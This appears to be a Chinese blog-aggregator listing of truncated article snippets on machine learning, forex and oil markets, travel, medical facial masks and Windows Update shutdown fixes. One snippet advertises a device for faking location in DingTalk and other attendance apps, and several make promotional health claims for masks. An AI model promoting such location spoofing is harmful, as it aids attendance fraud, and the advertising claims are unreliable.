ColdDTA发表在Computers in Biology and Medicine 的一篇一区文章 突出 • 数据增强和基于注意力的特征融合用于药物靶点结合亲和力预测。 • 与其他方法相比,它在 Davis、KIBA 和 BindingDB 数据集上显示出竞争性能。 • 可视化模型权重可以获得可解释的见解。 …...
2024/5/7 3:50:41 - 梯度消失和梯度爆炸的一些处理方法
在这里是记录一下梯度消失或梯度爆炸的一些处理技巧。全当学习总结了如有错误还请留言,在此感激不尽。 权重和梯度的更新公式如下: w w − η ⋅ ∇ w w w - \eta \cdot \nabla w ww−η⋅∇w 个人通俗的理解梯度消失就是网络模型在反向求导的时候出…...
2024/5/6 9:38:23 - Java项目:基于SSM+vue框架实现的人力资源管理系统设计与实现(源码+数据库+毕业论文+任务书)
一、项目简介 本项目是一套基于SSM框架实现的人力资源管理系统 包含:项目源码、数据库脚本等,该项目附带全部源码可作为毕设使用。 项目都经过严格调试,eclipse或者idea 确保可以运行! 该系统功能完善、界面美观、操作简单、功能…...
2024/5/6 22:05:08 - 蓝桥杯第十五届抱佛脚(十)贪心算法
蓝桥杯第十五届抱佛脚(十)贪心算法 贪心算法基本概念 贪心算法是一种在算法设计中常用的方法,它在每一步选择中都采取在当前状态下最好或最优(即最有利)的选择,从而希望导致结果是最好或最优的算法。 贪…...
2024/5/5 8:38:28 - 自动化标准Makefile与lds
makefile的自动化,需要使用变量,以及自动变量。 实行命令行与参数的分离。 命令行只与变量打交道,而变量则携带不同的参数,这样,通过修改变量,命令的执行结果不同。 可以简单理解为,命令行是个…...
2024/5/5 0:49:43 - 【外汇早评】美通胀数据走低,美元调整
原标题:【外汇早评】美通胀数据走低,美元调整昨日美国方面公布了新一期的核心PCE物价指数数据,同比增长1.6%,低于前值和预期值的1.7%,距离美联储的通胀目标2%继续走低,通胀压力较低,且此前美国一季度GDP初值中的消费部分下滑明显,因此市场对美联储后续更可能降息的政策…...
2024/5/4 23:54:56 - 【原油贵金属周评】原油多头拥挤,价格调整
原标题:【原油贵金属周评】原油多头拥挤,价格调整本周国际劳动节,我们喜迎四天假期,但是整个金融市场确实流动性充沛,大事频发,各个商品波动剧烈。美国方面,在本周四凌晨公布5月份的利率决议和新闻发布会,维持联邦基金利率在2.25%-2.50%不变,符合市场预期。同时美联储…...
2024/5/4 23:54:56 - 【外汇周评】靓丽非农不及疲软通胀影响
原标题:【外汇周评】靓丽非农不及疲软通胀影响在刚结束的周五,美国方面公布了新一期的非农就业数据,大幅好于前值和预期,新增就业重新回到20万以上。具体数据: 美国4月非农就业人口变动 26.3万人,预期 19万人,前值 19.6万人。 美国4月失业率 3.6%,预期 3.8%,前值 3…...
2024/5/4 23:54:56 - 【原油贵金属早评】库存继续增加,油价收跌
原标题:【原油贵金属早评】库存继续增加,油价收跌周三清晨公布美国当周API原油库存数据,上周原油库存增加281万桶至4.692亿桶,增幅超过预期的74.4万桶。且有消息人士称,沙特阿美据悉将于6月向亚洲炼油厂额外出售更多原油,印度炼油商预计将每日获得至多20万桶的额外原油供…...
2024/5/6 9:21:00 - 【外汇早评】日本央行会议纪要不改日元强势
原标题:【外汇早评】日本央行会议纪要不改日元强势近两日日元大幅走强与近期市场风险情绪上升,避险资金回流日元有关,也与前一段时间的美日贸易谈判给日本缓冲期,日本方面对汇率问题也避免继续贬值有关。虽然今日早间日本央行公布的利率会议纪要仍然是支持宽松政策,但这符…...
2024/5/4 23:54:56 - 【原油贵金属早评】欧佩克稳定市场,填补伊朗问题的影响
原标题:【原油贵金属早评】欧佩克稳定市场,填补伊朗问题的影响近日伊朗局势升温,导致市场担忧影响原油供给,油价试图反弹。此时OPEC表态稳定市场。据消息人士透露,沙特6月石油出口料将低于700万桶/日,沙特已经收到石油消费国提出的6月份扩大出口的“适度要求”,沙特将满…...
2024/5/4 23:55:05 - 【外汇早评】美欲与伊朗重谈协议
原标题:【外汇早评】美欲与伊朗重谈协议美国对伊朗的制裁遭到伊朗的抗议,昨日伊朗方面提出将部分退出伊核协议。而此行为又遭到欧洲方面对伊朗的谴责和警告,伊朗外长昨日回应称,欧洲国家履行它们的义务,伊核协议就能保证存续。据传闻伊朗的导弹已经对准了以色列和美国的航…...
2024/5/4 23:54:56 - 【原油贵金属早评】波动率飙升,市场情绪动荡
原标题:【原油贵金属早评】波动率飙升,市场情绪动荡因中美贸易谈判不安情绪影响,金融市场各资产品种出现明显的波动。随着美国与中方开启第十一轮谈判之际,美国按照既定计划向中国2000亿商品征收25%的关税,市场情绪有所平复,已经开始接受这一事实。虽然波动率-恐慌指数VI…...
2024/5/4 23:55:16 - 【原油贵金属周评】伊朗局势升温,黄金多头跃跃欲试
原标题:【原油贵金属周评】伊朗局势升温,黄金多头跃跃欲试美国和伊朗的局势继续升温,市场风险情绪上升,避险黄金有向上突破阻力的迹象。原油方面稍显平稳,近期美国和OPEC加大供给及市场需求回落的影响,伊朗局势并未推升油价走强。近期中美贸易谈判摩擦再度升级,美国对中…...
2024/5/4 23:54:56 - 【原油贵金属早评】市场情绪继续恶化,黄金上破
原标题:【原油贵金属早评】市场情绪继续恶化,黄金上破周初中国针对于美国加征关税的进行的反制措施引发市场情绪的大幅波动,人民币汇率出现大幅的贬值动能,金融市场受到非常明显的冲击。尤其是波动率起来之后,对于股市的表现尤其不安。隔夜美国股市出现明显的下行走势,这…...
2024/5/6 1:40:42 - 【外汇早评】美伊僵持,风险情绪继续升温
原标题:【外汇早评】美伊僵持,风险情绪继续升温昨日沙特两艘油轮再次发生爆炸事件,导致波斯湾局势进一步恶化,市场担忧美伊可能会出现摩擦生火,避险品种获得支撑,黄金和日元大幅走强。美指受中美贸易问题影响而在低位震荡。继5月12日,四艘商船在阿联酋领海附近的阿曼湾、…...
2024/5/4 23:54:56 - 【原油贵金属早评】贸易冲突导致需求低迷,油价弱势
原标题:【原油贵金属早评】贸易冲突导致需求低迷,油价弱势近日虽然伊朗局势升温,中东地区几起油船被袭击事件影响,但油价并未走高,而是出于调整结构中。由于市场预期局势失控的可能性较低,而中美贸易问题导致的全球经济衰退风险更大,需求会持续低迷,因此油价调整压力较…...
2024/5/4 23:55:17 - 氧生福地 玩美北湖(上)——为时光守候两千年
原标题:氧生福地 玩美北湖(上)——为时光守候两千年一次说走就走的旅行,只有一张高铁票的距离~ 所以,湖南郴州,我来了~ 从广州南站出发,一个半小时就到达郴州西站了。在动车上,同时改票的南风兄和我居然被分到了一个车厢,所以一路非常愉快地聊了过来。 挺好,最起…...
2024/5/4 23:55:06 - 氧生福地 玩美北湖(中)——永春梯田里的美与鲜
原标题:氧生福地 玩美北湖(中)——永春梯田里的美与鲜一觉醒来,因为大家太爱“美”照,在柳毅山庄去寻找龙女而错过了早餐时间。近十点,向导坏坏还是带着饥肠辘辘的我们去吃郴州最富有盛名的“鱼头粉”。说这是“十二分推荐”,到郴州必吃的美食之一。 哇塞!那个味美香甜…...
2024/5/4 23:54:56 - 氧生福地 玩美北湖(下)——奔跑吧骚年!
原标题:氧生福地 玩美北湖(下)——奔跑吧骚年!让我们红尘做伴 活得潇潇洒洒 策马奔腾共享人世繁华 对酒当歌唱出心中喜悦 轰轰烈烈把握青春年华 让我们红尘做伴 活得潇潇洒洒 策马奔腾共享人世繁华 对酒当歌唱出心中喜悦 轰轰烈烈把握青春年华 啊……啊……啊 两…...
2024/5/4 23:55:06 - 扒开伪装医用面膜,翻六倍价格宰客,小姐姐注意了!
原标题:扒开伪装医用面膜,翻六倍价格宰客,小姐姐注意了!扒开伪装医用面膜,翻六倍价格宰客!当行业里的某一品项火爆了,就会有很多商家蹭热度,装逼忽悠,最近火爆朋友圈的医用面膜,被沾上了污点,到底怎么回事呢? “比普通面膜安全、效果好!痘痘、痘印、敏感肌都能用…...
2024/5/5 8:13:33 - 「发现」铁皮石斛仙草之神奇功效用于医用面膜
原标题:「发现」铁皮石斛仙草之神奇功效用于医用面膜丽彦妆铁皮石斛医用面膜|石斛多糖无菌修护补水贴19大优势: 1、铁皮石斛:自唐宋以来,一直被列为皇室贡品,铁皮石斛生于海拔1600米的悬崖峭壁之上,繁殖力差,产量极低,所以古代仅供皇室、贵族享用 2、铁皮石斛自古民间…...
2024/5/4 23:55:16 - 丽彦妆\医用面膜\冷敷贴轻奢医学护肤引导者
原标题:丽彦妆\医用面膜\冷敷贴轻奢医学护肤引导者【公司简介】 广州华彬企业隶属香港华彬集团有限公司,专注美业21年,其旗下品牌: 「圣茵美」私密荷尔蒙抗衰,产后修复 「圣仪轩」私密荷尔蒙抗衰,产后修复 「花茵莳」私密荷尔蒙抗衰,产后修复 「丽彦妆」专注医学护…...
2024/5/4 23:54:58 - 广州械字号面膜生产厂家OEM/ODM4项须知!
原标题:广州械字号面膜生产厂家OEM/ODM4项须知!广州械字号面膜生产厂家OEM/ODM流程及注意事项解读: 械字号医用面膜,其实在我国并没有严格的定义,通常我们说的医美面膜指的应该是一种「医用敷料」,也就是说,医用面膜其实算作「医疗器械」的一种,又称「医用冷敷贴」。 …...
2024/5/6 21:42:42 - 械字号医用眼膜缓解用眼过度到底有无作用?
原标题:械字号医用眼膜缓解用眼过度到底有无作用?医用眼膜/械字号眼膜/医用冷敷眼贴 凝胶层为亲水高分子材料,含70%以上的水分。体表皮肤温度传导到本产品的凝胶层,热量被凝胶内水分子吸收,通过水分的蒸发带走大量的热量,可迅速地降低体表皮肤局部温度,减轻局部皮肤的灼…...
2024/5/4 23:54:56 - 配置失败还原请勿关闭计算机,电脑开机屏幕上面显示,配置失败还原更改 请勿关闭计算机 开不了机 这个问题怎么办...
解析如下:1、长按电脑电源键直至关机,然后再按一次电源健重启电脑,按F8健进入安全模式2、安全模式下进入Windows系统桌面后,按住“winR”打开运行窗口,输入“services.msc”打开服务设置3、在服务界面,选中…...
2022/11/19 21:17:18 - 错误使用 reshape要执行 RESHAPE,请勿更改元素数目。
%读入6幅图像(每一幅图像的大小是564*564) f1 imread(WashingtonDC_Band1_564.tif); subplot(3,2,1),imshow(f1); f2 imread(WashingtonDC_Band2_564.tif); subplot(3,2,2),imshow(f2); f3 imread(WashingtonDC_Band3_564.tif); subplot(3,2,3),imsho…...
2022/11/19 21:17:16 - 配置 已完成 请勿关闭计算机,win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机...
win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机”问题的解决方法在win7系统关机时如果有升级系统的或者其他需要会直接进入一个 等待界面,在等待界面中我们需要等待操作结束才能关机,虽然这比较麻烦,但是对系统进行配置和升级…...
2022/11/19 21:17:15 - 台式电脑显示配置100%请勿关闭计算机,“准备配置windows 请勿关闭计算机”的解决方法...
有不少用户在重装Win7系统或更新系统后会遇到“准备配置windows,请勿关闭计算机”的提示,要过很久才能进入系统,有的用户甚至几个小时也无法进入,下面就教大家这个问题的解决方法。第一种方法:我们首先在左下角的“开始…...
2022/11/19 21:17:14 - win7 正在配置 请勿关闭计算机,怎么办Win7开机显示正在配置Windows Update请勿关机...
置信有很多用户都跟小编一样遇到过这样的问题,电脑时发现开机屏幕显现“正在配置Windows Update,请勿关机”(如下图所示),而且还需求等大约5分钟才干进入系统。这是怎样回事呢?一切都是正常操作的,为什么开时机呈现“正…...
2022/11/19 21:17:13 - 准备配置windows 请勿关闭计算机 蓝屏,Win7开机总是出现提示“配置Windows请勿关机”...
Win7系统开机启动时总是出现“配置Windows请勿关机”的提示,没过几秒后电脑自动重启,每次开机都这样无法进入系统,此时碰到这种现象的用户就可以使用以下5种方法解决问题。方法一:开机按下F8,在出现的Windows高级启动选…...
2022/11/19 21:17:12 - 准备windows请勿关闭计算机要多久,windows10系统提示正在准备windows请勿关闭计算机怎么办...
有不少windows10系统用户反映说碰到这样一个情况,就是电脑提示正在准备windows请勿关闭计算机,碰到这样的问题该怎么解决呢,现在小编就给大家分享一下windows10系统提示正在准备windows请勿关闭计算机的具体第一种方法:1、2、依次…...
2022/11/19 21:17:11 - 配置 已完成 请勿关闭计算机,win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机”的解决方法...
今天和大家分享一下win7系统重装了Win7旗舰版系统后,每次关机的时候桌面上都会显示一个“配置Windows Update的界面,提示请勿关闭计算机”,每次停留好几分钟才能正常关机,导致什么情况引起的呢?出现配置Windows Update…...
2022/11/19 21:17:10 - 电脑桌面一直是清理请关闭计算机,windows7一直卡在清理 请勿关闭计算机-win7清理请勿关机,win7配置更新35%不动...
只能是等着,别无他法。说是卡着如果你看硬盘灯应该在读写。如果从 Win 10 无法正常回滚,只能是考虑备份数据后重装系统了。解决来方案一:管理员运行cmd:net stop WuAuServcd %windir%ren SoftwareDistribution SDoldnet start WuA…...
2022/11/19 21:17:09 - 计算机配置更新不起,电脑提示“配置Windows Update请勿关闭计算机”怎么办?
原标题:电脑提示“配置Windows Update请勿关闭计算机”怎么办?win7系统中在开机与关闭的时候总是显示“配置windows update请勿关闭计算机”相信有不少朋友都曾遇到过一次两次还能忍但经常遇到就叫人感到心烦了遇到这种问题怎么办呢?一般的方…...
2022/11/19 21:17:08 - 计算机正在配置无法关机,关机提示 windows7 正在配置windows 请勿关闭计算机 ,然后等了一晚上也没有关掉。现在电脑无法正常关机...
关机提示 windows7 正在配置windows 请勿关闭计算机 ,然后等了一晚上也没有关掉。现在电脑无法正常关机以下文字资料是由(历史新知网www.lishixinzhi.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!关机提示 windows7 正在配…...
2022/11/19 21:17:05 - 钉钉提示请勿通过开发者调试模式_钉钉请勿通过开发者调试模式是真的吗好不好用...
钉钉请勿通过开发者调试模式是真的吗好不好用 更新时间:2020-04-20 22:24:19 浏览次数:729次 区域: 南阳 > 卧龙 列举网提醒您:为保障您的权益,请不要提前支付任何费用! 虚拟位置外设器!!轨迹模拟&虚拟位置外设神器 专业用于:钉钉,外勤365,红圈通,企业微信和…...
2022/11/19 21:17:05 - 配置失败还原请勿关闭计算机怎么办,win7系统出现“配置windows update失败 还原更改 请勿关闭计算机”,长时间没反应,无法进入系统的解决方案...
前几天班里有位学生电脑(windows 7系统)出问题了,具体表现是开机时一直停留在“配置windows update失败 还原更改 请勿关闭计算机”这个界面,长时间没反应,无法进入系统。这个问题原来帮其他同学也解决过,网上搜了不少资料&#x…...
2022/11/19 21:17:04 - 一个电脑无法关闭计算机你应该怎么办,电脑显示“清理请勿关闭计算机”怎么办?...
本文为你提供了3个有效解决电脑显示“清理请勿关闭计算机”问题的方法,并在最后教给你1种保护系统安全的好方法,一起来看看!电脑出现“清理请勿关闭计算机”在Windows 7(SP1)和Windows Server 2008 R2 SP1中,添加了1个新功能在“磁…...
2022/11/19 21:17:03 - 请勿关闭计算机还原更改要多久,电脑显示:配置windows更新失败,正在还原更改,请勿关闭计算机怎么办...
许多用户在长期不使用电脑的时候,开启电脑发现电脑显示:配置windows更新失败,正在还原更改,请勿关闭计算机。。.这要怎么办呢?下面小编就带着大家一起看看吧!如果能够正常进入系统,建议您暂时移…...
2022/11/19 21:17:02 - 还原更改请勿关闭计算机 要多久,配置windows update失败 还原更改 请勿关闭计算机,电脑开机后一直显示以...
配置windows update失败 还原更改 请勿关闭计算机,电脑开机后一直显示以以下文字资料是由(历史新知网www.lishixinzhi.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!配置windows update失败 还原更改 请勿关闭计算机&#x…...
2022/11/19 21:17:01 - 电脑配置中请勿关闭计算机怎么办,准备配置windows请勿关闭计算机一直显示怎么办【图解】...
不知道大家有没有遇到过这样的一个问题,就是我们的win7系统在关机的时候,总是喜欢显示“准备配置windows,请勿关机”这样的一个页面,没有什么大碍,但是如果一直等着的话就要两个小时甚至更久都关不了机,非常…...
2022/11/19 21:17:00 - 正在准备配置请勿关闭计算机,正在准备配置windows请勿关闭计算机时间长了解决教程...
当电脑出现正在准备配置windows请勿关闭计算机时,一般是您正对windows进行升级,但是这个要是长时间没有反应,我们不能再傻等下去了。可能是电脑出了别的问题了,来看看教程的说法。正在准备配置windows请勿关闭计算机时间长了方法一…...
2022/11/19 21:16:59 - 配置失败还原请勿关闭计算机,配置Windows Update失败,还原更改请勿关闭计算机...
我们使用电脑的过程中有时会遇到这种情况,当我们打开电脑之后,发现一直停留在一个界面:“配置Windows Update失败,还原更改请勿关闭计算机”,等了许久还是无法进入系统。如果我们遇到此类问题应该如何解决呢࿰…...
2022/11/19 21:16:58 - 如何在iPhone上关闭“请勿打扰”
Apple’s “Do Not Disturb While Driving” is a potentially lifesaving iPhone feature, but it doesn’t always turn on automatically at the appropriate time. For example, you might be a passenger in a moving car, but your iPhone may think you’re the one dri…...
2022/11/19 21:16:57